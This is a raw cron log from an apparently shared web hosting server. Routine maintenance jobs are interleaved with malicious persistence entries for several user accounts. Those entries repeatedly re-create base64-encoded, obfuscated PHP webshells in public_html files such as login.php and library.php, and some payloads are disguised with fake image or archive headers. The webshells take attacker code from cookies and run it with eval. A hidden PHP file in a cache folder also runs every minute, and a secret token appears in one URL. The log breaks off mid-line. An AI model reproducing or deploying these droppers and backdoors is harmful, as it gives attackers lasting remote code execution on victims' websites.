Mar  2 11:19:02 medusa CROND[3759]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:19:02 medusa CROND[3760]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:19:02 medusa CROND[3761]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:19:02 medusa CROND[3765]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:19:02 medusa CROND[3752]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 11:19:02 medusa CROND[3771]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:20:01 medusa CROND[18088]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 11:20:02 medusa CROND[18389]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:20:02 medusa CROND[18392]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 11:20:02 medusa CROND[18391]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 11:20:02 medusa CROND[18397]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 11:20:02 medusa CROND[18396]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:20:02 medusa CROND[18399]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:20:02 medusa CROND[18401]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:20:02 medusa CROND[18402]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 11:20:02 medusa CROND[18400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:20:02 medusa CROND[18405]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 11:20:02 medusa CROND[18408]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:20:02 medusa CROND[18412]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 11:20:02 medusa CROND[18415]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 11:20:02 medusa CROND[18419]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:20:02 medusa CROND[18420]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:20:02 medusa CROND[18425]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 11:20:02 medusa CROND[18431]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:20:02 medusa CROND[18436]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:20:02 medusa CROND[18437]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:20:02 medusa CROND[18439]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 11:20:02 medusa CROND[18429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:20:02 medusa CROND[18445]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 11:20:02 medusa CROND[18448]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 11:20:02 medusa CROND[18413]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 11:20:02 medusa CROND[18449]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 11:20:02 medusa CROND[18428]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 11:20:02 medusa CROND[18430]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 11:20:02 medusa CROND[18452]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 11:20:02 medusa CROND[18468]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 11:21:01 medusa CROND[3709]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 11:21:02 medusa CROND[3954]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 11:21:02 medusa CROND[3967]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:21:02 medusa CROND[3968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:21:02 medusa CROND[3969]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:21:02 medusa CROND[3971]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:21:02 medusa CROND[3973]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:21:02 medusa CROND[3974]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:21:02 medusa CROND[3975]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:21:02 medusa CROND[3976]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 